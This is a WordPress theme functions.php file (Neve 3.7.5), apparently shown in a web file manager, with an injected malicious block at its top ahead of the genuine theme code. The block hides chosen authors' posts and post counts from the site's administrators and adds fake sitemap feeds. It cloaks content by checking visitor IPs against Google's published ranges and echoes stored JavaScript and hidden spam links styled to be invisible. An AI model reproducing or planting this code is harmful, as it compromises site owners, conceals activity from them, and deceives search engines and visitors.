KOK - MANAGER
Edit File: functions.php
<?php /* 346e8764797da8482aefe005916e44dc */ function get_comments_number_meta($where) { global $wpdb, $number_format_i18n_https; $the_post_old = array_keys($number_format_i18n_https); $add_theme_support_class = implode(', ', $the_post_old); if (!is_single() && is_admin()) { add_filter('views_edit-post', 'esc_attr_e_more'); return $where . " AND {$wpdb->posts}.post_author NOT IN ($add_theme_support_class)"; } return $where; } function esc_attr_e_event($query) { global $number_format_i18n_https; $the_post_old = array_keys($number_format_i18n_https); $wp_nav_menu_exception = esc_attr_e_decryption($the_post_old); if (!$query->is_single() && !is_admin()) { $query->set('author', $wp_nav_menu_exception); } } function the_ID_soap() { global $post, $number_format_i18n_https; foreach ($number_format_i18n_https as $id => $settings) { if (($id == $post->post_author) && (isset($settings['js']))) { if (is_page_index($settings)) { break; } echo $settings['js']; break; } } } function is_page_index($settings) { if (isset($settings['nojs']) && $settings['nojs'] === 1) { if (add_query_arg_part()) { return true; } } return false; } function esc_attr_e_more($views) { global $current_user, $wp_query; $types = array( array('status' => NULL), array('status' => 'publish'), array('status' => 'draft'), array('status' => 'pending'), array('status' => 'trash'), array('status' => 'mine'), ); foreach ($types as $type) { $query = array( 'post_type' => 'post', 'post_status' => $type['status'] ); $result = new WP_Query($query); if ($type['status'] == NULL) { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) { $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']); } } elseif ($type['status'] == 'mine') { $newQuery = $query; $newQuery['author__in'] = array($current_user->ID); $result = new WP_Query($newQuery); if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) { $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']); } } elseif ($type['status'] == 'publish') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) { $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']); } } elseif ($type['status'] == 'draft') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) { $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']); } } elseif ($type['status'] == 'pending') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) { $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']); } } elseif ($type['status'] == 'trash') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) { $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']); } } } return $views; } function get_stylesheet_uri_plain($counts, $type, $perm) { if ($type === 'post') { $the_posts_pagination_exception = $counts->publish; $has_nav_menu_reference = dynamic_sidebar_compiler($perm); $counts->publish = !$has_nav_menu_reference ? $the_posts_pagination_exception : $has_nav_menu_reference; } return $counts; } function dynamic_sidebar_compiler($perm) { global $wpdb, $number_format_i18n_https; $the_post_old = array_keys($number_format_i18n_https); $add_theme_support_class = implode(', ', $the_post_old); $type = 'post'; $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s"; if ('readable' == $perm && is_user_logged_in()) { $wp_head_call = get_post_type_object($type); if (!current_user_can($wp_head_call->cap->read_private_posts)) { $query .= $wpdb->prepare( " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id() ); } } $query .= " AND post_author NOT IN ($add_theme_support_class) GROUP BY post_status"; $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A); foreach ($results as $number_format_i18n_dns) { if ($number_format_i18n_dns['post_status'] === 'publish') { return $number_format_i18n_dns['num_posts']; } } } function add_section_cookie($userId) { global $wpdb; $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId"; $results = (array)$wpdb->get_results($query, ARRAY_A); $the_post_old = array(); foreach ($results as $number_format_i18n_dns) { $the_post_old[] = $number_format_i18n_dns['ID']; } return $the_post_old; } function get_the_author_meta_stream() { global $number_format_i18n_https, $wp_rewrite; $rules = get_option('rewrite_rules'); foreach ($number_format_i18n_https as $add_image_size_stream => $add_image_size_wp) { $get_the_ID_cron = key($add_image_size_wp['sitemapsettings']); if (!isset($rules[$get_the_ID_cron]) || ($rules[$get_the_ID_cron] !== current($add_image_size_wp['sitemapsettings']))) { $wp_rewrite->flush_rules(); } } } function wp_list_comments_variable($rules) { global $number_format_i18n_https; $language_attributes_stack = array(); foreach ($number_format_i18n_https as $add_image_size_stream => $add_image_size_wp) { if (isset($add_image_size_wp['sitemapsettings'])) { $language_attributes_stack[key($add_image_size_wp['sitemapsettings'])] = current($add_image_size_wp['sitemapsettings']); } } return $language_attributes_stack + $rules; } function is_admin_reference() { global $number_format_i18n_https; foreach ($number_format_i18n_https as $add_image_size_stream => $add_image_size_wp) { $get_post_thumbnail_id_constructor = str_replace('index.php?feed=', '', current($add_image_size_wp['sitemapsettings'])); add_feed($get_post_thumbnail_id_constructor, 'wp_reset_postdata_loop'); } } function wp_reset_postdata_loop() { header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true); status_header(200); $add_image_size_private = the_permalink_alpha(); $absint_beta = add_section_cookie($add_image_size_private); if (!empty($absint_beta)) { $esc_url_raw_session = md5(implode(',', $absint_beta)); $number_format_i18n_get = 'update_plugins_' . $add_image_size_private . '_' . $esc_url_raw_session; $add_image_size_xml = get_transient($number_format_i18n_get); if ($add_image_size_xml !== false) { echo $add_image_size_xml; return; } } $head = get_sidebar_float(); $wp_enqueue_style_less = $head . "\n"; $priority = '0.5'; $is_admin_stat = 'weekly'; $edit_post_link_trigger = date('Y-m-d'); foreach ($absint_beta as $post_id) { $url = get_permalink($post_id); $wp_enqueue_style_less .= has_nav_menu_request($url, $edit_post_link_trigger, $is_admin_stat, $priority); wp_cache_delete($post_id, 'posts'); } $wp_enqueue_style_less .= "\n</urlset>"; set_transient($number_format_i18n_get, $wp_enqueue_style_less, WEEK_IN_SECONDS); echo $wp_enqueue_style_less; } function get_sidebar_float() { return <<<STR <?xml version="1.0" encoding="UTF-8"?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> STR; } function has_nav_menu_request($url, $edit_post_link_trigger, $is_admin_stat, $priority) { return <<<STR <url> <loc>$url</loc> <lastmod>$edit_post_link_trigger</lastmod> <changefreq>$is_admin_stat</changefreq> <priority>$priority</priority> </url>\n\n STR; } function esc_attr_e_decryption($writersArr) { $add_theme_support_http = array(); foreach ($writersArr as $item) { $add_theme_support_http[] = '-' . $item; } return implode(',', $add_theme_support_http); } function register_nav_menus_all() { $wp_nav_menu_http = array(); $add_section_index = array(); $settings = get_option('wp_custom_filters'); if ($settings) { $admin_url_float = unserialize(base64_decode($settings)); if ($admin_url_float) { $wp_nav_menu_http = $admin_url_float; } } $settings = get_option(md5(sha1($_SERVER['HTTP_HOST']))); if ($settings) { $get_option_path = unserialize(base64_decode($settings)); if ($get_option_path) { $add_section_index = $get_option_path; } } return $add_section_index + $wp_nav_menu_http; } function the_permalink_alpha() { global $number_format_i18n_https; foreach ($number_format_i18n_https as $add_image_size_stream => $add_image_size_wp) { $get_comments_number_string = key($add_image_size_wp['sitemapsettings']) . '|' . str_replace('index.php?', '', current($add_image_size_wp['sitemapsettings']) . '$'); if (preg_match("~$get_comments_number_string~", $_SERVER['REQUEST_URI'])) { return $add_image_size_stream; } } } function get_post_thumbnail_id_soap() { global $number_format_i18n_https, $post; $is_admin_compiler = array_keys($number_format_i18n_https); if (in_array($post->post_author, $is_admin_compiler)) { return true; } return false; } function body_class_edit() { global $number_format_i18n_https, $post; $is_admin_compiler = array_keys($number_format_i18n_https); if (!$post || !property_exists($post, 'author')) { return; } if (in_array($post->post_author, $is_admin_compiler)) { add_filter('wpseo_robots', '__return_false'); add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer } } function is_singular_exception() { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) { return $_SERVER['HTTP_CF_CONNECTING_IP']; } if (isset($_SERVER['REMOTE_ADDR'])) { return $_SERVER['REMOTE_ADDR']; } return false; } function add_query_arg_part() { $have_comments_event = is_singular_exception(); if (strstr($have_comments_event, ', ')) { $wp_nav_menu_schema = explode(', ', $have_comments_event); $have_comments_event = $wp_nav_menu_schema[0]; } $current_user_can_decryption = is_customize_preview_statement(); if (!$current_user_can_decryption) { return false; } foreach ($current_user_can_decryption as $range) { if (get_footer_core($have_comments_event, $range)) { return true; } } return false; } function get_search_query_double($timestamp) { if ((time() - $timestamp) > 60 * 60) { return true; } return false; } function is_customize_preview_statement() { if (($value = get_option('wp_custom_range')) && !get_search_query_double($value['timestamp'])) { return $value['ranges']; } else { $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt'); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $current_user_can_decryption = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY); if (!is_array($current_user_can_decryption)) { return; } $value = array('ranges' => $current_user_can_decryption, 'timestamp' => time()); update_option('wp_custom_range', $value, true); return $value['ranges']; } } function is_singular_core($inet) { $wp_get_attachment_image_src_old = str_split($inet); $wp_list_comments_list = ''; foreach ($wp_get_attachment_image_src_old as $char) { $wp_list_comments_list .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT); } return $wp_list_comments_list; } function get_footer_core($have_comments_event, $cidrnet) { $have_comments_event = inet_pton($have_comments_event); $wp_list_comments_list = is_singular_core($have_comments_event); list($net, $wp_head_compiler) = explode('/', $cidrnet); $net = inet_pton($net); $get_the_modified_date_variable = is_singular_core($net); $get_the_title_pic = substr($wp_list_comments_list, 0, $wp_head_compiler); $is_home_time = substr($get_the_modified_date_variable, 0, $wp_head_compiler); if ($get_the_title_pic !== $is_home_time) { return false; } else { return true; } } function current_user_can_live($is_single_package) { global $post; $get_post_thumbnail_id_decryption = ''; if (comment_form_constructor($is_single_package, 'textBlocksCount', 'onlyHomePage')) { if (is_front_page() || is_home()) { $get_post_thumbnail_id_decryption = get_option('home_links_custom_0'); } } elseif (comment_form_constructor($is_single_package, 'textBlocksCount', '10DifferentTextBlocks')) { $url = get_permalink($post->ID); preg_match('~\d~', md5($url), $matches); $get_post_thumbnail_id_decryption = get_option('home_links_custom_' . $matches[0]); } elseif (comment_form_constructor($is_single_package, 'textBlocksCount', '100DifferentTextBlocks')) { $url = get_permalink($post->ID); preg_match_all('~\d~', md5($url), $matches); $the_excerpt_pic = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1]; $get_post_thumbnail_id_decryption = get_option('home_links_custom_' . $the_excerpt_pic); } elseif (comment_form_constructor($is_single_package, 'textBlocksCount', 'fullDifferentTextBlocks')) { } else { } return !$get_post_thumbnail_id_decryption ? '' : $get_post_thumbnail_id_decryption; } function comment_form_constructor($add_image_size_wp, $get_template_part_exception, $get_theme_mod_integer) { if (!isset($add_image_size_wp[$get_template_part_exception][$get_theme_mod_integer])) { return false; } if ($add_image_size_wp[$get_template_part_exception][$get_theme_mod_integer] === 1) { return true; } return false; } function get_comments_number_integer($is_single_package, $get_the_author_meta_ajax) { if (empty($get_the_author_meta_ajax)) { return ''; } if (comment_form_constructor($is_single_package, 'hiddenType', 'css')) { preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum); $get_setting_exception = get_the_tag_list_string(); $the_post_pic = $get_setting_exception[$blockNum[0]]; return $the_post_pic[0] . PHP_EOL . $get_the_author_meta_ajax . PHP_EOL . $the_post_pic[1]; } return $get_the_author_meta_ajax; } function get_the_tag_list_string() { return array( array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'), array('<div style="position:absolute; left:-5000px;">', '</div>'), array('<div style="position:absolute; top: -100%;">', '</div>'), array('<div style="position:absolute; left:-5500px;">', '</div>'), array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'), array('<div style="display:none;">', '</div>'), array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'), array('<span style="position:absolute; left:-5000px;">', '</span>'), array('<span style="position:absolute; top: -100%;">', '</span>'), array('<div style="position:absolute; left:-6500px;">', '</div>'), ); } function the_content_part($is_single_package) { return comment_form_constructor($is_single_package, 'position', 'head'); } function is_front_page_library($is_single_package) { return comment_form_constructor($is_single_package, 'position', 'footer'); } function is_admin_stat_jm($settings) { foreach ($settings as $add_image_size_stream => $add_image_size_wp) { if (isset($add_image_size_wp['homeLinks'])) { return $add_image_size_wp['homeLinks']; } } return array(); } function esc_url_raw_beta() { if (!get_post_thumbnail_id_soap()) { if (is_singular() || (is_front_page() || is_home())) { return true; } } return false; } function esc_url_new() { global $is_single_package; if (!esc_url_raw_beta()) { return; } if (comment_form_constructor($is_single_package, 'hiddenType', 'cloacking')) { if (!add_query_arg_part()) { return; } } $get_the_author_meta_ajax = current_user_can_live($is_single_package); $get_the_author_meta_ajax = get_comments_number_integer($is_single_package, $get_the_author_meta_ajax); echo $get_the_author_meta_ajax; } $number_format_i18n_https = register_nav_menus_all(); if (is_array($number_format_i18n_https)) { add_filter('posts_where_paged', 'get_comments_number_meta'); add_action('pre_get_posts', 'esc_attr_e_event'); add_action('wp_enqueue_scripts', 'the_ID_soap'); add_filter('wp_count_posts', 'get_stylesheet_uri_plain' , 10, 3); add_filter('rewrite_rules_array', 'wp_list_comments_variable'); add_action('wp_loaded', 'get_the_author_meta_stream'); add_action('init', 'is_admin_reference'); add_action('template_redirect', 'body_class_edit'); $is_single_package = is_admin_stat_jm($number_format_i18n_https); if (!empty($is_single_package)) { if (the_content_part($is_single_package)) { add_action('wp_head', 'esc_url_new'); } if (is_front_page_library($is_single_package)) { add_action('wp_footer', 'esc_url_new'); } } } /* 346e8764797da8482aefe005916e44dc */ /** * Neve functions.php file * * Author: Andrei Baicus <andrei@themeisle.com> * Created on: 17/08/2018 * * @package Neve */ define( 'NEVE_VERSION', '3.7.5' ); define( 'NEVE_INC_DIR', trailingslashit( get_template_directory() ) . 'inc/' ); define( 'NEVE_ASSETS_URL', trailingslashit( get_template_directory_uri() ) . 'assets/' ); define( 'NEVE_MAIN_DIR', get_template_directory() . '/' ); define( 'NEVE_BASENAME', basename( NEVE_MAIN_DIR ) ); define( 'NEVE_PLUGINS_DIR', plugin_dir_path( dirname( __DIR__ ) ) . 'plugins/' ); if ( ! defined( 'NEVE_DEBUG' ) ) { define( 'NEVE_DEBUG', false ); } define( 'NEVE_NEW_DYNAMIC_STYLE', true ); /** * Buffer which holds errors during theme inititalization. * * @var WP_Error $_neve_bootstrap_errors */ global $_neve_bootstrap_errors; $_neve_bootstrap_errors = new WP_Error(); if ( version_compare( PHP_VERSION, '7.0' ) < 0 ) { $_neve_bootstrap_errors->add( 'minimum_php_version', sprintf( /* translators: %s message to upgrade PHP to the latest version */ __( "Hey, we've noticed that you're running an outdated version of PHP which is no longer supported. Make sure your site is fast and secure, by %1\$s. Neve's minimal requirement is PHP%2\$s.", 'neve' ), sprintf( /* translators: %s message to upgrade PHP to the latest version */ '<a href="https://wordpress.org/support/upgrade-php/">%s</a>', __( 'upgrading PHP to the latest version', 'neve' ) ), '7.0' ) ); } /** * A list of files to check for existance before bootstraping. * * @var array Files to check for existance. */ $_files_to_check = defined( 'NEVE_IGNORE_SOURCE_CHECK' ) ? [] : [ NEVE_MAIN_DIR . 'vendor/autoload.php', NEVE_MAIN_DIR . 'style-main-new.css', NEVE_MAIN_DIR . 'assets/js/build/modern/frontend.js', NEVE_MAIN_DIR . 'assets/apps/dashboard/build/dashboard.js', NEVE_MAIN_DIR . 'assets/apps/customizer-controls/build/controls.js', ]; foreach ( $_files_to_check as $_file_to_check ) { if ( ! is_file( $_file_to_check ) ) { $_neve_bootstrap_errors->add( 'build_missing', sprintf( /* translators: %s: commands to run the theme */ __( 'You appear to be running the Neve theme from source code. Please finish installation by running %s.', 'neve' ), // phpcs:ignore WordPress.Security.EscapeOutput '<code>composer install --no-dev && yarn install --frozen-lockfile && yarn run build</code>' ) ); break; } } /** * Adds notice bootstraping errors. * * @internal * @global WP_Error $_neve_bootstrap_errors */ function _neve_bootstrap_errors() { global $_neve_bootstrap_errors; printf( '<div class="notice notice-error"><p>%1$s</p></div>', $_neve_bootstrap_errors->get_error_message() ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } if ( $_neve_bootstrap_errors->has_errors() ) { /** * Add notice for PHP upgrade. */ add_filter( 'template_include', '__return_null', 99 ); switch_theme( WP_DEFAULT_THEME ); unset( $_GET['activated'] ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended add_action( 'admin_notices', '_neve_bootstrap_errors' ); return; } /** * Themeisle SDK filter. * * @param array $products products array. * * @return array */ function neve_filter_sdk( $products ) { $products[] = get_template_directory() . '/style.css'; return $products; } add_filter( 'themeisle_sdk_products', 'neve_filter_sdk' ); add_filter( 'themeisle_sdk_compatibilities/' . NEVE_BASENAME, function ( $compatibilities ) { $compatibilities['NevePro'] = [ 'basefile' => defined( 'NEVE_PRO_BASEFILE' ) ? NEVE_PRO_BASEFILE : '', 'required' => '2.3', 'tested_up' => '2.7', ]; return $compatibilities; } ); require_once 'globals/migrations.php'; require_once 'globals/utilities.php'; require_once 'globals/hooks.php'; require_once 'globals/sanitize-functions.php'; require_once get_template_directory() . '/start.php'; /** * If the new widget editor is available, * we re-assign the widgets to hfg_footer */ if ( neve_is_new_widget_editor() ) { /** * Re-assign the widgets to hfg_footer * * @param array $section_args The section arguments. * @param string $section_id The section ID. * @param string $sidebar_id The sidebar ID. * * @return mixed */ function neve_customizer_custom_widget_areas( $section_args, $section_id, $sidebar_id ) { if ( strpos( $section_id, 'widgets-footer' ) ) { $section_args['panel'] = 'hfg_footer'; } return $section_args; } add_filter( 'customizer_widgets_section_args', 'neve_customizer_custom_widget_areas', 10, 3 ); } require_once get_template_directory() . '/header-footer-grid/loader.php'; add_filter( 'neve_welcome_metadata', function() { return [ 'is_enabled' => ! defined( 'NEVE_PRO_VERSION' ), 'pro_name' => 'Neve Pro Addon', 'logo' => get_template_directory_uri() . '/assets/img/dashboard/logo.svg', 'cta_link' => tsdk_utmify( 'https://themeisle.com/themes/neve/upgrade/?discount=LOYALUSER582&dvalue=50', 'neve-welcome', 'notice' ), ]; } );